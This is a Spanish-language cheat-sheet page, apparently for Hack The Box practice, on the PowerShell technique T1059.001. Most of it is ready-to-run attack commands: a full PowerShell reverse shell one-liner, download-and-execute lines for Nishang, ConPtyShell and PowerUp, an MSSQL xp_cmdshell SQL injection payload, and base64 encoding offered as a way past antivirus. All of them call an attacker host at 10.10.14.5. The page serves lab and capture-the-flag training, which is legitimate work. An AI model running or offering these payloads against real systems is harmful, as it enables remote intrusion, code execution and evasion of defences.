T1059.001

PowerShell

Subtécnica de T1059 Intérprete de comandos y scripts ↗

Usar PowerShell para ejecutar comandos, descargar herramientas y cargar scripts en memoria.

Cómo aparece en Hack The Box

Es la shell por defecto en Windows. Ojo al Constrained Language Mode y a AppLocker: si el one-liner no funciona, mira el modo de lenguaje antes de cambiar de payload.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Generador de reverse shells › Windows

Reverse shell en una línea
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

Si el antivirus lo bloquea, pásalo por el codificador (PowerShell -enc) o usa Invoke-PowerShellTcp.

Nishang Invoke-PowerShellTcp desde tu servidor
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"

Sirve el script con python3 -m http.server 80 en la carpeta donde lo tengas.

TTY completa en Windows (ConPtyShell) Víctima
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443

Transferencia de archivos › Windows

Cargar un script en memoria Víctima
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')

Payloads de inyección SQL › MSSQL

Ejecutar un comando
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--

Escalada en Windows y Active Directory › Windows

PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks

Evasión explicada: AMSI, ETW y AppLocker › AppLocker / CLM

Ver el modo de lenguaje Víctima
$ExecutionContext.SessionState.LanguageMode

ConstrainedLanguage = estás limitado; FullLanguage = libre.

Codificador y decodificador › En la terminal

PowerShell codificado (UTF-16LE) Atacante
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0

Chuletas relacionadas